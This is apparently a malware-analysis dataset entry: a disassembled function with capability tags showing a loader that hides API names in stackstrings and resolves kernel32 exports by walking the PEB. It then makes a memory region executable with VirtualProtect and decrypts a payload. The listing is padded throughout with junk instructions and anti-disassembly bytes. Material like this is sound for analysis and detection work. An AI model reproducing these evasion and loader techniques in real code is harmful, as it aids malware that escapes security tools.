Function at 0x45fd34
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
add esp, 4
add edi, 0xc8b
pop edi
mov byte [ebp - 0x960], 0x56
mov byte [ebp - 0x95f], 0x69
mov byte [ebp - 0x95e], 0x72
mov byte [ebp - 0x95d], 0x74
mov byte [ebp - 0x95c], 0x75
mov byte [ebp - 0x95b], 0x61
mov byte [ebp - 0x95a], 0x6c
mov byte [ebp - 0x959], 0x50
mov byte [ebp - 0x958], 0x72
mov byte [ebp - 0x957], 0x6f
mov byte [ebp - 0x956], 0x74
mov byte [ebp - 0x955], 0x65
mov byte [ebp - 0x954], 0x63
mov byte [ebp - 0x953], 0x74
mov byte [ebp - 0x952], 0
push ecx
call 0x45fdb5
add byte [0x4c454e50], bh
cmp byte [edi], dh
add esp, 4
add ecx, 0x987b
or ecx, 0x16e6a
pop ecx
push ebx
sub ebx, 0xd09e
sub ebx, 0xcce
sub ebx, 0x1231a
pop ebx
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1c34], eax
mov ecx, dword [ebp - 0x1c34]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18d4], edx
mov eax, dword [ebp - 0x18d4]
mov dword [ebp - 0x150c], eax
push eax
push ebx
add esp, 4
xor eax, 0x6b71
sub eax, 0x157ac
xor eax, 0x14d01
and eax, 0x107cd
pop eax
push edi
call 0x45fe2e
add byte [edi], bh
dec ebx
inc esi
inc edi
inc ecx
inc edi
aas
inc esi
dec edx
add esp, 4
pop edi
cmp dword [ebp - 0x150c], 0
jne 0x45fe4a
mov dword [ebp - 0x2a8], 0
jmp 0x4600f1
mov ecx, dword [ebp - 0x150c]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc4c], eax
push edx
push edi
add esp, 4
sub edx, 0x6298
jmp 0x45fe6d
pop edx
push eax
xor eax, 0x2242
pop eax
push edi
push edi
add esp, 4
and edi, 0x79ee
xor edi, 0x27d3
and edi, 0x16e24
pop edi
cmp dword [ebp - 0xc4c], 0
jne 0x45fea6
mov dword [ebp - 0x2a8], 0
jmp 0x4600f1
mov ecx, dword [ebp - 0xc4c]
mov dword [ebp - 0x4e4], ecx
push esi
push ecx
add esp, 4
sub esi, 0xa8be
xor esi, 0x10bf5
and esi, 0xa862
pop esi
push edx
add edx, 0x2c9a
xor edx, 0x1f8b
xor edx, 0x37e8
or edx, 0x1277e
pop edx
lea edx, [ebp - 0x1628]
mov dword [ebp - 0xc48], edx
mov eax, dword [ebp - 0x4e4]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc44], ecx
xor edx, edx
mov word [ebp - 0x204], dx
xor eax, eax
mov word [ebp - 0x38], ax
push eax
jmp 0x45ff18
sub eax, 0x7b3d
call 0x45ff2e
add byte [edx], dh
cmp al, byte [esi + 0x34]
xor al, 0x35
cmp dword [edi + 0x3b], eax
inc ebx
add esp, 4
and eax, 0x9910
pop eax
push edi
or edi, 0xdd35
pop edi
mov ecx, dword [ebp - 0xc44]
mov dx, word [ecx]
mov word [ebp - 0xf8a], dx
mov eax, dword [ebp - 0xc44]
add eax, 2
mov dword [ebp - 0xc44], eax
mov cx, word [ebp - 0xf8a]
mov word [ebp - 0x204], cx
mov edx, dword [ebp - 0xc48]
mov ax, word [edx]
mov word [ebp - 0xf8c], ax
mov ecx, dword [ebp - 0xc48]
add ecx, 2
mov dword [ebp - 0xc48], ecx
mov dx, word [ebp - 0xf8c]
mov word [ebp - 0x38], dx
push ebx
add ebx, 0x9f5c
jmp 0x45ffa4
add ebx, 0xd0cb
pop ebx
push ebx
push ebx
add esp, 4
add ebx, 0x11bdb
or ebx, 0x5f47
pop ebx
push esi
push edx
add esp, 4
or esi, 0x17ddc
pop esi
movzx eax, word [ebp - 0x38]
test eax, eax
jne 0x45ffe6
movzx ecx, word [ebp - 0x204]
movzx edx, word [ebp - 0x38]
sub ecx, edx
mov dword [ebp - 0x1514], ecx
jmp 0x460040
movzx eax, word [ebp - 0x204]
movzx ecx, word [ebp - 0x38]
cmp eax, ecx
je 0x45ff0e
movzx edx, word [ebp - 0x204]
xor edx, 0x20
movzx eax, word [ebp - 0x38]
cmp edx, eax
je 0x45ff0e
movzx ecx, word [ebp - 0x204]
movzx edx, word [ebp - 0x38]
cmp ecx, edx
jge 0x46002a
mov dword [ebp - 0x1510], 0xffffffff
jmp 0x460034
mov dword [ebp - 0x1510], 1
mov eax, dword [ebp - 0x1510]
mov dword [ebp - 0x1514], eax
cmp dword [ebp - 0x1514], 0
jne 0x460089
push ebx
xor ebx, 0x1ef3
xor ebx, 0xea5a
jmp 0x46005d
add ebx, 0x12acd
pop ebx
push eax
push ebx
add esp, 4
jmp 0x460071
jmp 0x46007a
pop eax
mov ecx, dword [ebp - 0x4e4]
mov dword [ebp - 0x2a8], ecx
jmp 0x4600f1
push edx
push esi
add esp, 4
or edx, 0xdaf0
and edx, 0x26a5
pop edx
push edx
push eax
add esp, 4
xor edx, 0x10b8d
and edx, 0x8b14
pop edx
push esi
xor esi, 0x522f
sub esi, 0x11958
pop esi
mov edx, dword [ebp - 0x4e4]
mov eax, dword [edx]
mov dword [ebp - 0x4e4], eax
mov ecx, dword [ebp - 0x4e4]
cmp ecx, dword [ebp - 0xc4c]
je 0x4600e7
mov edx, dword [ebp - 0x4e4]
cmp dword [edx + 0x30], 0
jne 0x45feb2
mov dword [ebp - 0x2a8], 0
push ebx
push edx
add esp, 4
add ebx, 0x1ae1
or ebx, 0xda3f
xor ebx, 0x8911
pop ebx
push esi
push esi
add esp, 4
xor esi, 0x9c98
or esi, 0x8e0d
pop esi
push ecx
xor ecx, 0x11b92
pop ecx
cmp dword [ebp - 0x2a8], 0
jne 0x460a28
mov eax, 0x6b
mov word [ebp - 0x16e8], ax
mov ecx, 0x65
mov word [ebp - 0x16e6], cx
mov edx, 0x72
mov word [ebp - 0x16e4], dx
mov eax, 0x6e
mov word [ebp - 0x16e2], ax
mov ecx, 0x65
mov word [ebp - 0x16e0], cx
mov edx, 0x6c
mov word [ebp - 0x16de], dx
mov eax, 0x33
mov word [ebp - 0x16dc], ax
mov ecx, 0x32
mov word [ebp - 0x16da], cx
mov edx, 0x2e
mov word [ebp - 0x16d8], dx
mov eax, 0x64
mov word [ebp - 0x16d6], ax
mov ecx, 0x6c
mov word [ebp - 0x16d4], cx
mov edx, 0x6c
mov word [ebp - 0x16d2], dx
xor eax, eax
mov word [ebp - 0x16d0], ax
push esi
push eax
add esp, 4
and esi, 0x10150
xor esi, 0x4e89
xor esi, 0xc59d
pop esi
push ebx
or ebx, 0xddd2
and ebx, 0x164c2
xor ebx, 0x3506
or ebx, 0xa53e
pop ebx
mov byte [ebp - 0x830], 0x4c
mov byte [ebp - 0x82f], 0x6f
mov byte [ebp - 0x82e], 0x61
mov byte [ebp - 0x82d], 0x64
mov byte [ebp - 0x82c], 0x4c
mov byte [ebp - 0x82b], 0x69
mov byte [ebp - 0x82a], 0x62
mov byte [ebp - 0x829], 0x72
mov byte [ebp - 0x828], 0x61
mov byte [ebp - 0x827], 0x72
mov byte [ebp - 0x826], 0x79
mov byte [ebp - 0x825], 0x57
mov byte [ebp - 0x824], 0
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18d8], ecx
mov edx, dword [ebp - 0x18d8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18dc], eax
mov ecx, dword [ebp - 0x18dc]
mov dword [ebp - 0x1518], ecx
push edx
push edx
add esp, 4
add edx, 0xb96
pop edx
push ebx
or ebx, 0x11e46
xor ebx, 0x5185
call 0x4602a6
add byte [edx + 0x32], cl
cmp eax, dword [ebp + 0x38]
cmp byte [ebx + 0x34], al
inc esp
add esp, 4
or ebx, 0x6bb1
pop ebx
cmp dword [ebp - 0x1518], 0
jne 0x4602c8
mov dword [ebp - 0x710], 0
jmp 0x46056f
mov edx, dword [ebp - 0x1518]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc58], ecx
push ecx
push ecx
add esp, 4
jmp 0x4602e5
and ecx, 0xcd3c
pop ecx
push edx
push eax
add esp, 4
and edx, 0x943b
jmp 0x4602fd
or edx, 0x3af7
pop edx
push ebx
sub ebx, 0xfe94
pop ebx
cmp dword [ebp - 0xc58], 0
jne 0x460324
mov dword [ebp - 0x710], 0
jmp 0x46056f
mov edx, dword [ebp - 0xc58]
mov dword [ebp - 0x4e8], edx
push esi
or esi, 0x5e1f
pop esi
push ecx
push ecx
add esp, 4
and ecx, 0x2a46
and ecx, 0x14d8f
pop ecx
push edx
sub edx, 0x10098
call 0x46035e
add byte [0x4f3d3d50], bh
cmp cl, byte [ebp - 0x7d]
les eax, [edx + ebx*2]
lea eax, [ebp - 0x16e8]
mov dword [ebp - 0xc54], eax
mov ecx, dword [ebp - 0x4e8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc50], edx
xor eax, eax
mov word [ebp - 0x208], ax
xor ecx, ecx
mov word [ebp - 0x3c], cx
push edi
push ebx
add esp, 4
or edi, 0x1014a
xor edi, 0x11965
xor edi, 0xf20e
pop edi
push esi
add esi, 0x5507
pop esi
push eax
push edi
add esp, 4
and eax, 0xcbaf
and eax, 0x47d6
pop eax
mov edx, dword [ebp - 0xc50]
mov ax, word [edx]
mov word [ebp - 0xf8e], ax
mov ecx, dword [ebp - 0xc50]
add ecx, 2
mov dword [ebp - 0xc50], ecx
mov dx, word [ebp - 0xf8e]
mov word [ebp - 0x208], dx
mov eax, dword [ebp - 0xc54]
mov cx, word [eax]
mov word [ebp - 0xf90], cx
mov edx, dword [ebp - 0xc54]
add edx, 2
mov dword [ebp - 0xc54], edx
mov ax, word [ebp - 0xf90]
mov word [ebp - 0x3c], ax
push ebx
sub ebx, 0xc399
and ebx, 0x33e0
jmp 0x460429
add ebx, 0x13a97
pop ebx
push edi
push edx
add esp, 4
call 0x460443
add byte [ecx + 0x3a], al
xor eax, 0x383c4b42
dec ebp
add esp, 4
pop edi
movzx ecx, word [ebp - 0x3c]
test ecx, ecx
jne 0x460464
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
sub edx, eax
mov dword [ebp - 0x1560], edx
jmp 0x4604be
movzx ecx, word [ebp - 0x208]
movzx edx, word [ebp - 0x3c]
cmp ecx, edx
je 0x46038c
movzx eax, word [ebp - 0x208]
xor eax, 0x20
movzx ecx, word [ebp - 0x3c]
cmp eax, ecx
je 0x46038c
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
cmp edx, eax
jge 0x4604a8
mov dword [ebp - 0x151c], 0xffffffff
jmp 0x4604b2
mov dword [ebp - 0x151c], 1
mov ecx, dword [ebp - 0x151c]
mov dword [ebp - 0x1560], ecx
cmp dword [ebp - 0x1560], 0
jne 0x460507
push eax
or eax, 0xecdd
and eax, 0x5071
pop eax
push ecx
push ecx
add esp, 4
or ecx, 0x401d
pop ecx
push esi
push edi
add esp, 4
call 0x4604f5
add byte [edx], dh
cmp dword [edx], esi
xor eax, 0x423c3a42
inc esp
add esp, 4
pop esi
mov edx, dword [ebp - 0x4e8]
mov dword [ebp - 0x710], edx
jmp 0x46056f
push edx
or edx, 0x3db3
or edx, 0xcfac
call 0x460522
add byte [edx + 0x44], al
inc esi
cmp eax, 0x3a3c4948
add esp, 4
call 0x460535
add byte [ebp + 0x44], cl
cmp esi, dword ds:[0x483d3749]
dec eax
add esp, 4
pop edx
mov eax, dword [ebp - 0x4e8]
mov ecx, dword [eax]
mov dword [ebp - 0x4e8], ecx
mov edx, dword [ebp - 0x4e8]
cmp edx, dword [ebp - 0xc58]
je 0x460565
mov eax, dword [ebp - 0x4e8]
cmp dword [eax + 0x30], 0
jne 0x460330
mov dword [ebp - 0x710], 0
push ebx
add ebx, 0x129d3
sub ebx, 0xf916
and ebx, 0x25a9
pop ebx
push eax
push esi
add esp, 4
jmp 0x46058e
and eax, 0xdaf0
xor eax, 0xd06d
or eax, 0x1664a
pop eax
cmp dword [ebp - 0x710], 0
jne 0x4605eb
push esi
push ebx
add esp, 4
jmp 0x4605b5
pop esi
push edi
and edi, 0xf2ed
pop edi
push esi
push ebx
add esp, 4
or esi, 0xb539
sub esi, 0x16638
xor esi, 0xa5dd
add esi, 0x180c0
pop esi
mov dword [ebp - 0xa58], 0
jmp 0x461113
push eax
push edx
add esp, 4
sub eax, 0x11ba
pop eax
push edi
push eax
add esp, 4
and edi, 0x14f5b
pop edi
push ebx
and ebx, 0x188a
xor ebx, 0x13cb3
add ebx, 0xcff2
or ebx, 0x8b47
pop ebx
mov ecx, dword [ebp - 0x710]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x300], edx
mov dword [ebp - 0x720], 0
mov eax, dword [ebp - 0x300]
mov dword [ebp - 0x1564], eax
cmp dword [ebp - 0x1564], 0
jne 0x46065c
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x46094d
mov edx, dword [ebp - 0x1564]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1568], eax
jne 0x460684
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x46094d
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1568]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1570], edx
cmp dword [ebp - 0x1570], 0
jne 0x4606b6
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
jmp 0x46094d
mov ecx, dword [ebp - 0x300]
add ecx, dword [ebp - 0x1570]
mov dword [ebp - 0x714], ecx
jne 0x4606db
mov edx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], edx
jmp 0x46094d
mov eax, dword [ebp - 0x714]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x18e0], ecx
mov edx, dword [ebp - 0x714]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x18e4], eax
mov ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x300]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x18e8], edx
mov dword [ebp - 0x718], 0
jmp 0x460735
mov eax, dword [ebp - 0x718]
add eax, 1
mov dword [ebp - 0x718], eax
mov ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x718]
cmp edx, dword [ecx + 0x18]
jae 0x460941
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x18e0]
mov edx, dword [ebp - 0x300]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x71c], edx
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x18e4]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x18e8]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x18ec], ecx
mov dword [ebp - 0x188], 0
jmp 0x4607a5
mov eax, dword [ebp - 0x71c]
add eax, dword [ebp - 0x188]
movsx ecx, byte [eax]
test ecx, ecx
je 0x460857
mov edx, dword [ebp - 0x188]
movsx eax, byte [ebp + edx - 0x830]
test eax, eax
je 0x460857
push esi
push eax
add esp, 4
xor esi, 0x15fb
pop esi
push eax
add eax, 0x100a5
call 0x4607f5
add byte [edx + ecx*2], dh
dec edi
cmp dword [ebp + edi + 0x3a], eax
xor eax, 0xc4833938
cmp dh, byte [0xc4833938]
add al, 0x81
loopne 0x4607f1
jns 0x4607fd
add bl, ch
add edi, dword [0x8b58504e]
invalid
push ecx
push edi
add esp, 4
and ecx, 0xf2e0
add ecx, 0x6d55
xor ecx, 0x869e
xor ecx, 0x12a86
pop ecx
push esi
push eax
add esp, 4
add esi, 0xfa3a
pop esi
push ecx
sub ecx, 0x3fbf
pop ecx
mov eax, dword [ebp - 0x71c]
add eax, dword [ebp - 0x188]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x188]
movsx eax, byte [ebp + edx - 0x830]
cmp ecx, eax
jne 0x4608b6
mov dword [ebp - 0xc5c], 0
jmp 0x460925
push eax
or eax, 0xbb90
or eax, 0xf8fc
call 0x4608d1
add byte [edi + 0x3b], al
inc edx
dec ecx
dec edx
aaa
cmp al, byte [ebx + 0x5eb04c4]
cmp dword [esi + 0x40], ecx
dec edi
dec esp
pop eax
push edx
push edx
add esp, 4
or edx, 0x1806a
pop edx
mov ecx, dword [ebp - 0x71c]
add ecx, dword [ebp - 0x188]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x188]
movsx ecx, byte [ebp + eax - 0x830]
or ecx, 0x20
cmp edx, ecx
jge 0x46091b
mov dword [ebp - 0xc5c], 0xffffffff
jmp 0x460925
mov dword [ebp - 0xc5c], 1
cmp dword [ebp - 0xc5c], 0
jne 0x46093c
mov edx, dword [ebp - 0x18ec]
mov dword [ebp - 0x3c8], edx
jmp 0x46094d
jmp 0x460726
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
cmp dword [ebp - 0x3c8], 0
je 0x460a28
push ebx
push edx
add esp, 4
and ebx, 0x4021
or ebx, 0x4b7e
and ebx, 0xa097
pop ebx
push edx
xor edx, 0x10848
xor edx, 0x8fde
xor edx, 0xbdf8
and edx, 0xfc6a
pop edx
mov ecx, dword [ebp - 0x3c8]
mov dword [ebp - 0x18f0], ecx
push ebx
or ebx, 0x178f5
xor ebx, 0xdd12
pop ebx
push edx
sub edx, 0x575d
pop edx
push ebx
jmp 0x4609b7
or ebx, 0x5995
xor ebx, 0x2884
add ebx, 0xfffd
pop ebx
mov edx, dword [ebp - 0x18f0]
mov dword [ebp - 0x18f4], edx
lea eax, [ebp - 0x1628]
push eax
call dword [ebp - 0x18f4]
test eax, eax
jne 0x460a28
push eax
and eax, 0x17a04
pop eax
push eax
push ecx
add esp, 4
or eax, 0x13a76
call 0x460a09
add byte [ecx + 0x4c], al
xor al, 0x42
dec ecx
inc esp
cmp dword [edi], edi
dec edi
add esp, 4
or eax, 0xd291
add eax, 0xe9fd
pop eax
mov dword [ebp - 0xa58], 0
jmp 0x461113
push esi
push ebx
add esp, 4
jmp 0x460a33
xor esi, 0xe560
pop esi
push esi
push edi
add esp, 4
or esi, 0x51bc
jmp 0x460a4d
pop esi
push esi
push eax
add esp, 4
sub esi, 0xf47f
pop esi
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18f8], ecx
mov edx, dword [ebp - 0x18f8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18fc], eax
mov ecx, dword [ebp - 0x18fc]
mov dword [ebp - 0x1574], ecx
push esi
or esi, 0xbc7f
add esi, 0xf98e
pop esi
push eax
push ecx
add esp, 4
or eax, 0x151a1
pop eax
push edx
push ecx
add esp, 4
sub edx, 0x3eed
or edx, 0x7df3
sub edx, 0x1e4e
pop edx
cmp dword [ebp - 0x1574], 0
jne 0x460acc
mov dword [ebp - 0x2a8], 0
jmp 0x460d73
mov edx, dword [ebp - 0x1574]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc68], ecx
push eax
push edx
add esp, 4
or eax, 0x2053
pop eax
push esi
push ecx
add esp, 4
and esi, 0x488f
and esi, 0x154ea
pop esi
push esi
sub esi, 0x184fd
xor esi, 0xc7f0
add esi, 0x863c
pop esi
cmp dword [ebp - 0xc68], 0
jne 0x460b28
mov dword [ebp - 0x2a8], 0
jmp 0x460d73
mov edx, dword [ebp - 0xc68]
mov dword [ebp - 0x4ec], edx
push ecx
call 0x460b45
add byte [edx + 0x3c], al
cmp byte ds:[edi + 0x46], cl
dec edx
inc edx
aas
dec ecx
add esp, 4
call 0x460b56
add byte [eax + 0x49], dl
push eax
cmp al, byte [esi + 0x44]
aas
add esp, 4
and ecx, 0x6f8e
add ecx, 0x14bb7
pop ecx
lea eax, [ebp - 0x1628]
mov dword [ebp - 0xc64], eax
mov ecx, dword [ebp - 0x4ec]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc60], edx
xor eax, eax
mov word [ebp - 0x20c], ax
xor ecx, ecx
mov word [ebp - 0x40], cx
push esi
push esi
add esp, 4
or esi, 0xf602
or esi, 0x14823
or esi, 0x125d3
pop esi
push edi
and edi, 0xb600
sub edi, 0x1438a
or edi, 0x17a7
or edi, 0xcfae
pop edi
mov edx, dword [ebp - 0xc60]
mov ax, word [edx]
mov word [ebp - 0xf92], ax
mov ecx, dword [ebp - 0xc60]
add ecx, 2
mov dword [ebp - 0xc60], ecx
mov dx, word [ebp - 0xf92]
mov word [ebp - 0x20c], dx
mov eax, dword [ebp - 0xc64]
mov cx, word [eax]
mov word [ebp - 0xf94], cx
mov edx, dword [ebp - 0xc64]
add edx, 2
mov dword [ebp - 0xc64], edx
mov ax, word [ebp - 0xf94]
mov word [ebp - 0x40], ax
push ebx
push ebx
add esp, 4
and ebx, 0x10aa5
xor ebx, 0x132f7
sub ebx, 0x180df
add ebx, 0x118d
pop ebx
push esi
sub esi, 0x11f30
sub esi, 0x83ce
and esi, 0x1077
pop esi
movzx ecx, word [ebp - 0x40]
test ecx, ecx
jne 0x460c68
movzx edx, word [ebp - 0x20c]
movzx eax, word [ebp - 0x40]
sub edx, eax
mov dword [ebp - 0x157c], edx
jmp 0x460cc2
movzx ecx, word [ebp - 0x20c]
movzx edx, word [ebp - 0x40]
cmp ecx, edx
je 0x460b90
movzx eax, word [ebp - 0x20c]
xor eax, 0x20
movzx ecx, word [ebp - 0x40]
cmp eax, ecx
je 0x460b90
movzx edx, word [ebp - 0x20c]
movzx eax, word [ebp - 0x40]
cmp edx, eax
jge 0x460cac
mov dword [ebp - 0x1578], 0xffffffff
jmp 0x460cb6
mov dword [ebp - 0x1578], 1
mov ecx, dword [ebp - 0x1578]
mov dword [ebp - 0x157c], ecx
cmp dword [ebp - 0x157c], 0
jne 0x460d0b
push eax
push eax
add esp, 4
call 0x460cdd
add byte [eax], bh
cmp esi, dword [edi]
xor eax, 0x834d4f3f
les eax, [eax + ebx*2]
push esi
and esi, 0xeb93
sub esi, 0xb38f
pop esi
push edx
jmp 0x460cf5
jmp 0x460cfc
pop edx
mov edx, dword [ebp - 0x4ec]
mov dword [ebp - 0x2a8], edx
jmp 0x460d73
push ebx
push esi
add esp, 4
or ebx, 0x10b3f
sub ebx, 0x1423c
pop ebx
push ecx
call 0x460d2d
add byte [0x39323745], dh
inc esp
cmp al, 0x32
add esp, 4
add ecx, 0x4ff5
xor ecx, 0x56cb
pop ecx
mov eax, dword [ebp - 0x4ec]
mov ecx, dword [eax]
mov dword [ebp - 0x4ec], ecx
mov edx, dword [ebp - 0x4ec]
cmp edx, dword [ebp - 0xc68]
je 0x460d69
mov eax, dword [ebp - 0x4ec]
cmp dword [eax + 0x30], 0
jne 0x460b34
mov dword [ebp - 0x2a8], 0
push esi
add esi, 0x16a80
jmp 0x460d82
and esi, 0x147f6
pop esi
push edi
add edi, 0x163c4
or edi, 0x11a7
and edi, 0x17433
jmp 0x460da4
pop edi
mov ecx, dword [ebp - 0x2a8]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x304], edx
push edi
jmp 0x460dbc
pop edi
push ecx
push eax
add esp, 4
or ecx, 0x5a00
pop ecx
push edi
or edi, 0x14ca0
add edi, 0xf704
sub edi, 0x185d
jmp 0x460de5
pop edi
mov dword [ebp - 0x730], 0
mov eax, dword [ebp - 0x304]
mov dword [ebp - 0x1580], eax
cmp dword [ebp - 0x1580], 0
jne 0x460e16
mov ecx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], ecx
jmp 0x461107
mov edx, dword [ebp - 0x1580]
mov eax, dword [ebp - 0x304]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1584], eax
jne 0x460e3e
mov ecx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], ecx
jmp 0x461107
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1584]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1588], edx
cmp dword [ebp - 0x1588], 0
jne 0x460e70
mov eax, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], eax
jmp 0x461107
mov ecx, dword [ebp - 0x304]
add ecx, dword [ebp - 0x1588]
mov dword [ebp - 0x724], ecx
jne 0x460e95
mov edx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], edx
jmp 0x461107
mov eax, dword [ebp - 0x724]
mov ecx, dword [ebp - 0x304]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x1900], ecx
mov edx, dword [ebp - 0x724]
mov eax, dword [ebp - 0x304]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x1904], eax
mov ecx, dword [ebp - 0x724]
mov edx, dword [ebp - 0x304]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x1908], edx
mov dword [ebp - 0x728], 0
jmp 0x460eef
mov eax, dword [ebp - 0x728]
add eax, 1
mov dword [ebp - 0x728], eax
mov ecx, dword [ebp - 0x724]
mov edx, dword [ebp - 0x728]
cmp edx, dword [ecx + 0x18]
jae 0x4610fb
mov eax, dword [ebp - 0x728]
mov ecx, dword [ebp - 0x1900]
mov edx, dword [ebp - 0x304]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x72c], edx
mov eax, dword [ebp - 0x728]
mov ecx, dword [ebp - 0x1904]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x1908]
mov ecx, dword [ebp - 0x304]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x190c], ecx
mov dword [ebp - 0x18c], 0
jmp 0x460f5f
mov edx, dword [ebp - 0x18c]
add edx, 1
mov dword [ebp - 0x18c], edx
mov eax, dword [ebp - 0x72c]
add eax, dword [ebp - 0x18c]
movsx ecx, byte [eax]
test ecx, ecx
je 0x461011
mov edx, dword [ebp - 0x18c]
movsx eax, byte [ebp + edx - 0x960]
test eax, eax
je 0x461011
push edx
push eax
add esp, 4
jmp 0x460f97
xor edx, 0x8cdb
sub edx, 0x156c6
pop edx
push edi
or edi, 0x137e2
add edi, 0xb9ff
and edi, 0x15bdb
jmp 0x460fbd
pop edi
mov ecx, dword [ebp - 0x72c]
add ecx, dword [ebp - 0x18c]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x18c]
movsx ecx, byte [ebp + eax - 0x960]
cmp edx, ecx
je 0x461003
mov edx, dword [ebp - 0x72c]
add edx, dword [ebp - 0x18c]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x18c]
movsx edx, byte [ebp + ecx - 0x960]
cmp eax, edx
jne 0x46100a
jmp 0x460f50
jmp 0x461011
push ebx
push edx
add esp, 4
xor ebx, 0x14a52
sub ebx, 0x147a7
sub ebx, 0xea3f
sub ebx, 0x1267f
pop ebx
push esi
add esi, 0x85ed
sub esi, 0x17d7f
and esi, 0x2b5a
pop esi
mov eax, dword [ebp - 0x72c]
add eax, dword [ebp - 0x18c]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x18c]
movsx eax, byte [ebp + edx - 0x960]
cmp ecx, eax
jne 0x461070
mov dword [ebp - 0xc6c], 0
jmp 0x4610df
push ebx
push ecx
add esp, 4
or ebx, 0x1327d
pop ebx
push ecx
xor ecx, 0xa5df
jmp 0x46108c
and ecx, 0x87ec
call 0x46109e
add byte [esi], dh
xor eax, 0x3b3a3949
add esp, 4
pop ecx
mov ecx, dword [ebp - 0x72c]
add ecx, dword [ebp - 0x18c]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x18c]
movsx ecx, byte [ebp + eax - 0x960]
or ecx, 0x20
cmp edx, ecx
jge 0x4610d5
mov dword [ebp - 0xc6c], 0xffffffff
jmp 0x4610df
mov dword [ebp - 0xc6c], 1
cmp dword [ebp - 0xc6c], 0
jne 0x4610f6
mov edx, dword [ebp - 0x190c]
mov dword [ebp - 0x4f0], edx
jmp 0x461107
jmp 0x460ee0
mov eax, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], eax
mov ecx, dword [ebp - 0x4f0]
mov dword [ebp - 0xa58], ecx
push edi
jmp 0x46111a
xor edi, 0xcb27
xor edi, 0x1312a
add edi, 0x31b6
pop edi
push eax
push ecx
add esp, 4
add eax, 0xe057
sub eax, 0x130b2
add eax, 0x5422
pop eax
mov edx, dword [ebp - 0xa58]
mov dword [ebp - 0x1910], edx
lea eax, [ebp - 0xc70]
push eax
push 0x40
mov ecx, dword [ebp - 0x158c]
push ecx
mov edx, dword [ebp - 0x3cc]
push edx
call dword [ebp - 0x1910]
test eax, eax
jne 0x4611b8
push edi
and edi, 0x1017c
pop edi
push ebx
jmp 0x461180
add ebx, 0x8714
pop ebx
push esi
call 0x461194
add byte [ebp + 0x50], al
inc eax
dec esp
cmp al, 0x49
add esp, 4
pop esi
push eax
push esi
add esp, 4
or eax, 0xaefb
pop eax
mov eax, dword [ebp - 0x738]
mov dword [ebp - 0x1914], eax
push 0
call dword [ebp - 0x1914]
mov ecx, dword [ebp - 0x1918]
mov dword [ebp - 0x734], ecx
jmp 0x4611d5
mov edx, dword [ebp - 0x734]
add edx, 1
mov dword [ebp - 0x734], edx
mov eax, dword [ebp - 0x734]
cmp eax, dword [ebp - 0xa5c]
jae 0x461231
push eax
push eax
add esp, 4
and eax, 0xad
xor eax, 0xb377
and eax, 0x5845
and eax, 0x10f4b
pop eax
push esi
or esi, 0x7b68
sub esi, 0x2f95
sub esi, 0x733
pop esi
movzx ecx, byte [ebp - 0x381]
mov edx, dword [ebp - 0x734]
movsx eax, byte [edx]
sub eax, ecx
mov ecx, dword [ebp - 0x734]
mov byte [ecx], al
jmp 0x4611c6
mov edx, dword [ebp - 0xa58]
mov dword [ebp - 0x191c], edx
lea eax, [ebp - 0xc70]
push eax
